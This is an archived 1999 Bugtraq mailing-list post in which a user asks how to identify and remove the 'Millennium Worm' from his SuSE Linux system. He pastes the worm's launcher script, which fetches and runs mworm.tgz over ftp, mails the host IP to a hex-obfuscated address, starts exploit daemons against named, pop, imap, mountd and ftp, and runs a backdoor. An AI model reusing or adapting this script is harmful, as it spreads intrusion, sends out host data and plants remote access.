4273798 1999-09-03  06:25  /67 rader/ Postmaster
Mottagare: Bugtraq (import) <7603>
Ärende: MW
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <37CCD1BD.69C3E9EE@weikert-bensheim.de>
Date:         Wed, 1 Sep 1999 09:11:57 +0200
Reply-To: Christian Koderer <ko@WEIKERT-BENSHEIM.DE>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Christian Koderer <ko@WEIKERT-BENSHEIM.DE>
X-To:         bugtraq@netspace.org
To: BUGTRAQ@SECURITYFOCUS.COM

Knows anybody MW (millennium worm?) and how i get my s.u.s.e
installation clean?

"#!/bin/.mwsh
# Millennium Worm by Anonymous
# If you found this on your machine, but didn't download it
# well.. you have a problem :)
export PATH="/bin/:/usr/sbin/:/usr/bin:/sbin:/usr/local/bin:."
export IP_A=`./IP`

./prepare for your d00m mortalz

cat << _EOF_ > cmd
mw
mw
mw
mw
mw
/bin/.mwsh -c "/usr/sbin/named" &
export PATH="/bin/:/usr/sbin/:/usr/bin:/sbin:/usr/local/bin:."
mkdir /tmp/....
cd /tmp/....
if [ -f /tmp/.X12 ]
then
logout
fi
ftp $IP_A
mw


cd /tmp/....
get mworm.tgz
bye
tar xvzf mworm.tgz
touch /tmp/.X12
nohup ./mworm &
./IP | mail `printf
"\x62\x65\x75\x72\x70\x40\x68\x6f\x74\x6d\x61\x69\x6c\x2e\x63\x6f\x6d"`
logout
_EOF_

./mwd &
./mwd-pop &
./mwd-imap &
./mwd-mountd &
./mwd-ftp &
sleep 60
nohup ./mwd &
nohup ./mwd-pop &
nohup ./mwd-imap &
nohup ./mwd-mountd &
nohup ./mwd-ftp &

/bin/.mwsh -c ./bd
"
(4273798) -----------------------------------